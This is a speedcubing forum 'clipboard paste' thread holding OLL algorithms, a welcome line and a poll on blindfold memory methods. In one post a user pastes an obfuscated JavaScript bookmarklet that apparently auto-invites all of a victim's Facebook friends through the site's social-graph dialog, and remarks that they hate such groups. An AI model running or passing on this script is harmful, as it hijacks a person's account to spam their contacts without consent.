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The CTRL + V game

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CAT13

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# Diagram Time Algorithm Comments Video
50 1.833 x' (R U' R' F') (R U R') xy (R' U R) This is fast. The rotation doesn't slow the algorithm down much at all. slow
fast
51 1.400 (Rw U Rw') (R U R' U') (Rw U' Rw') I like all three sets of moves in this algorithm. =) slow
fast
52 1.933 x' (L' U L F) (L' U' L) xy' (L U' L') This is just the mirror of Case #50. slow
fast
53 1.400 (Lw' U' Lw) (L' U' L U) (Lw' U Lw) This is just the mirror of Case #51. slow
fast


some OLL algs from cubewhiz, but it doesn't show the pics.
 

Samania

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butterfly.jpg
 

ben1996123

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Welcome, ben1996123.
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Neo63

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Code:
javascript:(function()

{a='app125234247503667_jop';

b='app125234247503667_jode';

ifc='app125234247503667_ifc';

ifo='app125234247503667_ifo';

mw='app125234247503667_mwrapper';eval(function(p,a,c,k,e,r)

{e=function(c){return(c<a?'':e(parseInt

(c/a)))+((c=c%a)>35?String.fromChar

Code(c+29):c.toString(36))};if(!''.replace(/^/,String))

{while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function()

{return'\\w+'};c=1};while(c--)if(k[c])p=p.rep

lace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}

('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\

h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\

j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q

\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\

v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\

p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]]

(V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)

[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]]

(e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);

C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]]

(c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|

x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|

x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|

x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|docu

ment|mw|fs|SocialGraph

Manager|ifo|ifc|||||||'.split('|'),0,{}))})();


I hate those stupid facebook groups :(
 

Feryll

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In comparison with the stickied thread here, this poll is to get an idea where the various methods of memory are in popularity. This is important or at least interesting so that we can see which methods have been utilized to their fullest extent, and which types of memory could be the next hidden jewel. While most techniques are probably nearly just as good as one another, this thread will also provide a discussion for the methods' effectiveness, explain what they mean to newcomers, and just raise awareness of BLD in general.

If you use a hybrid of methods for most of your cubes, or you are just starting to learn another method, then select two. But if you have abandoned a method of memory for a cube, then don't select it. This poll only applies to 3x3 BLD, multi-BLD and speed 3x3 BLD.
 
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